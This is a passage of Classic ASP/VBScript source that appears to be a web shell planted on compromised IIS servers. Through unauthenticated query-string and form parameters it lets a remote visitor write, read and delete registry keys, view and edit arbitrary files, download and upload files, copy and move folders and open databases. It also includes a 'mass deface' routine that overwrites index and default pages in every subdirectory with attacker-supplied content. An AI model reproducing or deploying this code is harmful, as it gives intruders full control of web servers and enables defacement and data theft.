		Response.Write "&lt;font face=""arial"" size=""2""&gt;&lt;br&gt;&lt;b&gt;Registry Editor:&lt;/b&gt;&lt;br&gt;&lt;br&gt;"
		Select Case Trim(Request.QueryString("regaction"))
			Case "w"
				If Trim(Request.QueryString("process")) = "yes" Then
					Select Case Trim(Request.QueryString("type"))
						Case "1"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
						Case "2"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
						Case "3"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
						Case "4"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")
						Case "5"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")
					End Select
					Response.Write "&lt;center&gt;&lt;br&gt;&lt;font face=""arial"" size=""2""&gt;Registry &lt;b&gt;"
					Response.Write Trim(Request.QueryString("key")) &amp; "&lt;/b&gt; Changed.&lt;/center&gt;"
					Response.Write "&lt;br&gt;&lt;br&gt;&lt;font face=""arial"" size=""1""&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg""&gt;Main Menu&lt;/a&gt;&lt;br&gt;"
				Else
					Response.Write "&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""2""&gt;ROOT KEY NAME&lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""2""&gt;ABREVIAÇÃO&lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;HKEY_CURRENT_USER &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; HKCU &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;HKEY_LOCAL_MACHINE &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; HKLM &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;HKEY_CLASSES_ROOT &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; HKCR &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;HKEY_USERS &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; HKEY_USERS &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;HKEY_CURRENT_CONFIG &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; HKEY_CURRENT_CONFIG &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br&gt;"
					Response.Write "&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""2""&gt;Type &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""2""&gt; Description &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""2""&gt; Figure &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;REG_SZ &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; String &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; String &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;REG_DWORD &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; Number &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; DWORD &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;REG_BINARY &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; Binary &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; VBArray DWORD &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;REG_EXPAND_SZ &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; String Expand (ex. ""%windir%\\calc.exe"") &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; String &lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;REG_MULTI_SZ &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; Array Of Strings &lt;/td&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt; VBArray Of Strings &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;"
					Response.Write "&lt;br&gt;&lt;br&gt;&lt;FORM action=""" &amp; Request.ServerVariables("URL") &amp; """ method=""GET""&gt;"
					Response.Write "&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;KEY: &lt;/td&gt;&lt;td&gt;&lt;input type=""text"" name=""key""&gt; &lt;font face=""arial"" size=""1""&gt;&lt;br&gt;( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )&lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;VALUE:&lt;/td&gt;&lt;td&gt;&lt;input type=""text"" name=""value""&gt;&lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""1""&gt;TYPE:&lt;/td&gt;&lt;td&gt;&lt;SELECT NAME=""type""&gt;"
					Response.Write "&lt;OPTION VALUE=""1""&gt;REG_SZ &lt;/option&gt;"
					Response.Write "&lt;OPTION VALUE=""2""&gt;REG_DWORD &lt;/option&gt;"
					Response.Write "&lt;OPTION VALUE=""3""&gt;REG_BINARY &lt;/option&gt;"
					Response.Write "&lt;OPTION VALUE=""4""&gt;REG_EXPAND_SZ &lt;/option&gt;"
					Response.Write "&lt;OPTION VALUE=""5""&gt;REG_MULTI_SZ &lt;/option&gt;&lt;/select&gt;&lt;br&gt;"
					Response.Write "&lt;input type=""hidden"" name=""regaction"" value=""w""&gt;"
					Response.Write "&lt;input type=""hidden"" name=""action"" value=""reg""&gt;"
					Response.Write "&lt;input type=""hidden"" name=""process"" value=""yes""&gt;&lt;/td&gt;&lt;/tr&gt;"
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=""submit"" value=""OK""&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;"
					Response.Write "&lt;br&gt;&lt;br&gt;&lt;font face=""arial"" size=""1""&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg""&gt;Main Menu&lt;/a&gt;&lt;br&gt;"
				End If
			Case "r"
				If Trim(Request.QueryString("process")) = "yes" Then
					Response.Write "&lt;font face=""arial"" size=""2""&gt;" &amp; Trim(Request.QueryString("key")) &amp; "&lt;br&gt;"
					Response.Write "Value: &lt;b&gt;" &amp; WshShell.RegRead (Trim(Request.QueryString("key")))
				Else
					Response.Write "&lt;FORM action=""" &amp; Request.ServerVariables("URL") &amp; """ method=""GET""&gt;"
					Response.Write "&lt;font face=""arial"" size=""1""&gt;KEY: &lt;input type=""text"" name=""key""&gt; &lt;br&gt;( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )&lt;br&gt;"
					Response.Write "&lt;input type=""hidden"" name=""regaction"" value=""r""&gt;"
					Response.Write "&lt;input type=""hidden"" name=""action"" value=""reg""&gt;"
					Response.Write "&lt;input type=""hidden"" name=""process"" value=""yes""&gt;"
					Response.Write "&lt;input type=""submit"" value=""OK""&gt;&lt;/form&gt;"
				End If
				Response.Write "&lt;br&gt;&lt;br&gt;&lt;font face=""arial"" size=""1""&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg""&gt;Main Menu&lt;/a&gt;&lt;br&gt;"
			Case "d"
				If Trim(Request.QueryString("process")) = "yes" Then
					teste = WshShell.RegDelete (Trim(Request.QueryString("key")))
					Response.Write "Chave &lt;b&gt;" &amp; Trim(Request.QueryString("key")) &amp; " &lt;/b&gt;Deleted."
				Else
					Response.Write "&lt;FORM action=""" &amp; Request.ServerVariables("URL") &amp; """ method=""GET""&gt;"
					Response.Write "&lt;font face=""arial"" size=""1""&gt;KEY: &lt;input type=""text"" name=""key""&gt; ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )&lt;br&gt;"
					Response.Write "&lt;input type=""hidden"" name=""regaction"" value=""d""&gt;"
					Response.Write "&lt;input type=""hidden"" name=""action"" value=""reg""&gt;"
					Response.Write "&lt;input type=""hidden"" name=""process"" value=""yes""&gt;"
					Response.Write "&lt;input type=""submit"" value=""OK""&gt;&lt;/form&gt;"
				End If
				Response.Write "&lt;br&gt;&lt;br&gt;&lt;font face=""arial"" size=""1""&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg""&gt;Main Menu&lt;/a&gt;&lt;br&gt;"
			Case Else
				Response.Write "&lt;font face=""arial"" size=""1""&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg&amp;regaction=w""&gt;WRITE VALUE&lt;/a&gt;&lt;br&gt;&lt;br&gt;"
				Response.Write "&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg&amp;regaction=r""&gt;READ VALUE&lt;/a&gt;&lt;br&gt;&lt;br&gt;"
				Response.Write "&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg&amp;regaction=d""&gt;DELETE KEY&lt;/a&gt;&lt;br&gt;"
		End Select
		Set WshShell = Nothing
	Case "txtview"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp &amp; "&lt;font face=""arial"" size=""2""&gt;"
		file = Replace(Trim(Request.QueryString("file")),"|","\")
		Set fso = CreateObject("Scripting.FileSystemObject")  
		Set a = fso.OpenTextFile(file)
		Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"&lt;br&gt;")," ","&amp;nbsp;")
		Set a = Nothing
		Set fso = Nothing
	Case "txtedit"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		If Request.Form.Count = 0 Then
			file = Replace(Trim(Request.QueryString("file")),"|","\")
			Set fso = CreateObject("Scripting.FileSystemObject")
			Set a = fso.OpenTextFile(file)
			Response.Write "&lt;form method=""post"" action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=txtedit""&gt;"
			Response.Write "&lt;textarea cols='85' rows='25' name=""content"" wrap=""physical"" &gt;" &amp; Server.HTMLEncode(a.ReadAll) &amp; "&lt;/textarea&gt;&lt;br&gt;"
			Response.Write "&lt;input type=""hidden"" name=""path"" value=""" &amp; Trim(Request.QueryString("file")) &amp; """&gt;"
			Response.Write "&lt;input type=""submit"" name=""savemethod"" value=""Save""&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type=""submit"" name=""savemethod"" value=""Save as""&gt;&lt;/form&gt;"
			Set a = Nothing
			Set fso = Nothing
		Else
			Select Case Trim(Request.Form("savemethod"))
				Case "Save"
					Set fso = CreateObject("Scripting.FileSystemObject")
					novotexto = Trim(Request.Form("content"))
					novotexto = Split(novotexto,vbCrLf)
					Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
					For i = 0 To UBound(novotexto)
						objstream.WriteLine(novotexto(i))
					Next
					objstream.Close
					Set objstream = Nothing
					Response.Write "Texto salvo: &lt;b&gt;" &amp; Replace(Trim(Request.Form("path")),"|","\") &amp; "&lt;/b&gt;"
				Case "Save as"
					Set fso = CreateObject("Scripting.FileSystemObject")
					novotexto = Trim(Request.Form("content"))
					novotexto = Split(novotexto,vbCrLf)
					caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) &amp; "rhtemptxt.txt"
					Set objstream = fso.CreateTextFile(caminho,true,false)
					For i = 0 To UBound(novotexto)
						objstream.WriteLine(novotexto(i))
					Next
					objstream.Close
					Set objstream = Nothing
					Response.Write "&lt;form method=""post"" action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=txtedit""&gt;"
					Response.Write "&lt;input type=""text"" name=""filename"" value=""" &amp; showobj(Replace(Trim(Request.Form("path")),"|","\")) &amp; """&gt;&lt;br&gt;"
					Response.Write "&lt;input type=""hidden"" name=""path"" value=""" &amp; Trim(Request.Form("path")) &amp; """&gt;"
					Response.Write "&lt;input type=""submit"" name=""savemethod2"" value=""Save""&gt;&lt;/form&gt;"
				Case Else
					caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) &amp; "rhtemptxt.txt"
					Set ObjFSO = CreateObject("Scripting.FileSystemObject")
					Set MyFile = ObjFSO.GetFile(caminho)
					destino = Left(caminho,InStrRev(caminho,"\")) &amp; Trim(Request.Form("filename"))
					MyFile.Move (destino)
					If Err.Number = 0 Then
						Response.Write "&lt;font face='arial' size='2'&gt;&lt;center&gt;&lt;br&gt;&lt;br&gt;Arquivo: &lt;b&gt;" &amp; destino &amp; "&lt;/b&gt; salvo!"
						Response.Write "&lt;SCRIPT LANGUAGE=""JavaScript""&gt;self.opener.document.location.reload();&lt;/SCRIPT&gt;"
					End If	
			End Select
		End If
	Case "download"
		Response.Buffer = True
		Response.Clear
		strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
		strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
		strFileType = Request.QueryString("type")
		if strFileType = "" then strFileType = "application/download"
		Set fso = Server.CreateObject("Scripting.FileSystemObject")
		Set f = fso.GetFile(strFilename)
		intFilelength = f.size
		Set f = Nothing
		Set fso = Nothing
		Response.AddHeader "Content-Disposition", "attachment; filename=" &amp; strFile
		Response.AddHeader "Content-Length", intFilelength
		Response.Charset = "UTF-8"
		Response.ContentType = strFileType
		Set Stream = Server.CreateObject("ADODB.Stream")
		Stream.Open
		Stream.type = 1
		Stream.LoadFromFile strFileName
		Response.BinaryWrite Stream.Read
		Response.Flush
		Stream.Close
		Set Stream = Nothing
	Case "upload"
		If Request.QueryString("processupload") &lt;&gt; "yes" Then
			Response.Write "&lt;FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=upload&amp;processupload=yes&amp;path=" &amp; Request.QueryString("path") &amp; """&gt;"
			Response.Write "&lt;TABLE BORDER=0&gt;"
			Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face=""arial"" size=""2""&gt;&lt;b&gt;Select a file to upload:&lt;/b&gt;&lt;br&gt;&lt;INPUT TYPE=FILE SIZE=50 NAME=""FILE1""&gt;&lt;/td&gt;&lt;/tr&gt;"
			Response.Write "&lt;tr&gt;&lt;td align=""center""&gt;&lt;font face=""arial"" size=""2""&gt;&lt;INPUT TYPE=SUBMIT VALUE=""Upload!""&gt;&lt;/td&gt;&lt;/tr&gt;"
			Response.Write "&lt;/TABLE&gt;"
		Else
			Set Uploader = New FileUploader
			Uploader.Upload()
			If Uploader.Files.Count = 0 Then
				Response.Write "File(s) not uploaded."
			Else
				For Each File In Uploader.Files.Items
					File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")
					Response.Write "File Uploaded: " &amp; File.FileName &amp; "&lt;br&gt;"
					Response.Write "Size: " &amp; File.FileSize &amp; " bytes&lt;br&gt;"
					Response.Write "Type: " &amp; File.ContentType &amp; "&lt;br&gt;&lt;br&gt;"
					Response.Write "&lt;SCRIPT LANGUAGE=""JavaScript""&gt;self.opener.document.location.reload();&lt;/SCRIPT&gt;"
				Next
			End If
		End If
	Case "mass"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
			On Error Resume Next
			Set MonRep = ObjFSO.GetFolder(caminhodomass)
			Set ColFolders = MonRep.SubFolders
			for each folderItem in ColFolders
				destino1 = folderItem.path &amp; "\index.htm"
				destino2 = folderItem.path &amp; "\index.html"
				destino3 = folderItem.path &amp; "\index.asp"
				destino4 = folderItem.path &amp; "\index.cfm"
				destino5 = folderItem.path &amp; "\index.php"
				destino6 = folderItem.path &amp; "\default.htm"
				destino7 = folderItem.path &amp; "\default.html"
				destino8 = folderItem.path &amp; "\default.asp"
				destino9 = folderItem.path &amp; "\default.cfm"
				destino10 = folderItem.path &amp; "\default.php"
				MeuArquivo.Copy(destino1)
				MeuArquivo.Copy(destino2)
				MeuArquivo.Copy(destino3)
				MeuArquivo.Copy(destino4)
				MeuArquivo.Copy(destino5)
				MeuArquivo.Copy(destino6)
				MeuArquivo.Copy(destino7)
				MeuArquivo.Copy(destino8)
				MeuArquivo.Copy(destino9)
				MeuArquivo.Copy(destino10)
				Response.Write "&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;font face='arial' size='2'&gt;&amp;lt;DIR&amp;gt; " &amp; folderItem.path &amp; "&lt;/td&gt;"
				If Err.Number = 0 Then
					Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='green'&gt;DONE!&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
				Else
					Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='red'&gt;" &amp; UCase(Err.Description) &amp; "&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;"
				End If
				Err.Number = 0
				Response.Flush
				If metodo = "brute" Then
					Call themassdeface(folderItem.path &amp; "\","brute",ObjFSO,MeuArquivo)
				End If
			next
		End Sub
		Sub brutemass(caminho,massaction)
			If massaction = "test" Then
				On Error Resume Next
				Set MonRep = ObjFSO.GetFolder(caminho)
				Set ColFolders = MonRep.SubFolders
				Set ColFiles0 = MonRep.Files
				for each folderItem in ColFolders
					Set TotalFolders = ObjFSO.GetFolder(folderItem.path)
					Set EachFolder = TotalFolders.SubFolders
					Response.Write "&lt;table border=""0"" cellspacing=""0"" cellpadding=""0"" &gt;"
					maindestino = folderItem.path &amp; "\"
					MeuArquivo.Copy(maindestino)
					Response.Write "&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face='arial' size='2'&gt;&amp;lt;DIR&amp;gt; " &amp; maindestino &amp; "&lt;/b&gt;&lt;/td&gt;"
					If Err.Number = 0 Then
						Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='green'&gt;Acesso Permitido&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
					Else
						Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='red'&gt;" &amp; UCase(Err.Description) &amp; "&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
					End If
					Err.Number = 0
					Response.Flush
					If EachFolder.count &gt; 0 Then
						masscontador = 0
						for each subpasta in EachFolder
							masscontador = masscontador + 1
							destino = subpasta.path &amp; "\"
							If masscontador = 1 Then
								destinofinal = destino
								pathfinal = subpasta.path
								Err.Number = 0
								MeuArquivo.Copy(destinofinal)
								Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face='arial' size='2'&gt;&amp;lt;DIR&amp;gt; " &amp; showobj(pathfinal) &amp; "&lt;/td&gt;"
								If Err.Number = 0 Then
									Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='green'&gt;Acesso Permitido&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
								Else
									Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='red'&gt;" &amp; UCase(Err.Description) &amp; "&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
								End If
								Err.Number = 0
								Response.Flush
							Else
								MeuArquivo.Copy(destino)
								Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face='arial' size='2'&gt;&amp;lt;DIR&amp;gt; " &amp; showobj(subpasta.path) &amp; "&lt;/td&gt;"
								If Err.Number = 0 Then
									Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='green'&gt;Acesso Permitido&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
								Else
									Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='2' color='red'&gt;" &amp; UCase(Err.Description) &amp; "&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
								End If
								Err.Number = 0
								Response.Flush
							End If
						next
						masscontador = 0
					End If
					Response.Write "&lt;/table&gt;&lt;br&gt;"
					Call brutemass(folderItem.path &amp; "\","test")
				next
				Set MonRep = Nothing
				Set ColFolders = Nothing
				Set ColFiles0 = Nothing
			Else
				If Request.Form.Count = 0 Then
					Response.Write "&lt;font face=""arial"" size=""2""&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Brute:&lt;/b&gt; Test and Deface root and sub directories.&lt;br&gt;&lt;br&gt;"
					Response.Write "&lt;b&gt;Single:&lt;/b&gt; Test and deface only root directories.&lt;br&gt;&lt;br&gt;"
					Response.Write "&lt;form method=""post"" action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=mass&amp;massact=dfc""&gt;"
					Response.Write "&lt;input type=""hidden"" name=""path"" value=""" &amp; Trim(Request.QueryString("path")) &amp; """&gt;"
					Response.Write "&lt;center&gt;&lt;font face=""arial"" size=""2""&gt;Deface Code:&lt;br&gt;"
					Response.Write "&lt;textarea cols='65' rows='15' name=""content""&gt;&lt;/textarea&gt;&lt;br&gt;"
					Response.Write "&lt;input type=""radio"" name=""massopt"" value=""brute"" checked&gt;Brute&amp;nbsp;&amp;nbsp;&amp;nbsp;"
					Response.Write "&lt;input type=""radio"" name=""massopt"" value=""single""&gt;Single&lt;br&gt;"
					Response.Write "&lt;input type=""submit"" value=""Deface ALL!""&gt;&lt;/center&gt;"
					Response.Write "&lt;/form&gt;"
				Else
					Set ObjFSO = CreateObject("Scripting.FileSystemObject")
					patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
					arquivomassdfc = patharquivotxt &amp; "teste.txt"
					Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
					vetordelinhas = Split(Request.Form("content"),VbCrLf)
					For i = 0 To UBound(vetordelinhas)
						Arquivotxt.WriteLine(vetordelinhas(i))
					Next
					Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
					
					If Request.Form("massopt") = "single" Then
						Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
					ElseIf Request.Form("massopt") = "brute" Then
						Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
					End If
				End If
			End If
		End Sub
		If Trim(Request.QueryString("massact")) = "test" Then
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
			arquivo = patharquivotxt &amp; "_vti_cnf.log"
			Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)
			Set MeuArquivo = ObjFSO.GetFile(arquivo)
			Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")
		ElseIf Trim(Request.QueryString("massact")) = "dfc" Then
			Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")
		End If
	Case "fcopy"
            If Trim(Request.Form("submit1")) = "Copy" Then
		mptpath=Trim(Request.Form("path"))
		mptdest=Trim(Request.Form("cf"))
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		isl = ""
		if Trim(Request.Form("islem"))="kopyala" then
			objFSO.CopyFolder mptpath,mptdest
			isl="Copied.." 
		elseif Trim(Request.Form("islem"))="tasi" then
			objFSO.MoveFolder mptpath,mptdest
			isl="moved.." 
		end if

		response.Write "Command: "&amp;isl
		response.Write "&lt;br&gt;&lt;font color=red&gt;File From: &lt;/font&gt;" &amp; mptpath &amp; "&lt;br&gt;&lt;font color=red&gt;Copy to: &lt;/font&gt;" &amp; mptdest
		response.Write "&lt;br&gt;"
	    Else
		Response.Write "&lt;form method=""post"" action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=fcopy""&gt;"
		Response.Write "&lt;table cellpadding=0 cellspacing=0 align=center&gt;&lt;tr&gt;&lt;td width=100&gt;&lt;font size=2&gt;Copy Path : &lt;/td&gt;&lt;td&gt;"
		Response.Write "&lt;input type=hidden value='19' name=status&gt;&lt;input type=hidden value='"&amp; Replace(Trim(Request.QueryString("path")),"|","\") &amp;"' name=path&gt;&lt;input type=hidden value='"&amp;time&amp;"' name=Time&gt;"
		Response.Write "&lt;input style='width:250; height:21' value='"&amp; Replace(Trim(Request.QueryString("path")) &amp; "\","|","\") &amp;"' name=cf&gt;"
		response.Write "&lt;input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1&gt;"
		Response.Write "&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=3 align=center&gt;&lt;font size=2&gt;"
		response.Write "&lt;input type=radio name='islem' value='kopyala' checked&gt;Copy"
		response.Write "&lt;input type=radio name='islem' value='tasi'&gt;Move"
		response.Write "&lt;/table&gt;"
		response.Write "&lt;/form&gt;"
	    End IF

	Case "filecopy"
            If Trim(Request.Form("submit1")) = "Copy" Then
		mptpath=Trim(Request.Form("path"))
		mptdest=Trim(Request.Form("cf"))
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		isl = ""
		if Trim(Request.Form("islem"))="kopyala" then
			objFSO.CopyFile mptpath,mptdest
			isl="Copy.." 
		elseif Trim(Request.Form("islem"))="tasi" then
			objFSO.MoveFile mptpath,mptdest
			isl="move.." 
		end if

		response.Write "Command: "&amp;isl
		response.Write "&lt;br&gt;&lt;font color=red&gt;File From: &lt;/font&gt;" &amp; mptpath &amp; "&lt;br&gt;&lt;font color=red&gt;Copy to: &lt;/font&gt;" &amp; mptdest
		response.Write "&lt;br&gt;"
	    Else
		Response.Write "&lt;form method=""post"" action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=filecopy""&gt;"
		Response.Write "&lt;table cellpadding=0 cellspacing=0 align=center&gt;&lt;tr&gt;&lt;td width=100&gt;&lt;font size=2&gt;Copy Path : &lt;/td&gt;&lt;td&gt;"
		Response.Write "&lt;input type=hidden value='19' name=status&gt;&lt;input type=hidden value='"&amp; Replace(Trim(Request.QueryString("file")),"|","\") &amp;"' name=path&gt;&lt;input type=hidden value='"&amp;time&amp;"' name=Time&gt;"
		Response.Write "&lt;input style='width:250; height:21' value='"&amp; Replace(Trim(Request.QueryString("file")),"|","\") &amp;"' name=cf&gt;"
		response.Write "&lt;input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1&gt;"
		Response.Write "&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=3 align=center&gt;&lt;font size=2&gt;"
		response.Write "&lt;input type=radio name='islem' value='kopyala' checked&gt;Copy"
		response.Write "&lt;input type=radio name='islem' value='tasi'&gt;Move"
		response.Write "&lt;/table&gt;"
		response.Write "&lt;/form&gt;"
	    End IF


	Case "search"
         If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))&lt;&gt;"" Then
          showdisks=FALSE
 	  status5=Trim(Request.Form("status"))
	  if status5="" then status5=Trim(Request.QueryString("status"))
 	      SELECT CASE status5

		CASE "5"
			Response.Write "&lt;center&gt;&lt;b&gt;&lt;font color=orange&gt;"&amp; Trim(Request.QueryString("path")) &amp;"&lt;/font&gt;&lt;/b&gt;&lt;/center&gt;&lt;br&gt;"
			Response.Write "&lt;table width=100% &gt;&lt;tr&gt;&lt;td&gt;"
			set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1)
			Response.Write "&lt;pre&gt;"&amp;Server.HTMLEncode(f.readAll)&amp;"&lt;/pre&gt;"
			if err.number=62 then Response.Write "&lt;script language=javascript&gt;alert('Bu Dosya Okunamyyor\nSistem dosyasy olabilir')&lt;/script&gt;":Response.End



	  	 CASE "7":
			Response.Write "&lt;b&gt;&lt;font size=3&gt;Tables&lt;/font&gt;&lt;/br&gt;&lt;br&gt;"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objADOX = Server.CreateObject("ADOX.Catalog")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objADOX.ActiveConnection = objConn

			For Each table in objADOX.Tables
				If table.Type = "TABLE" Then
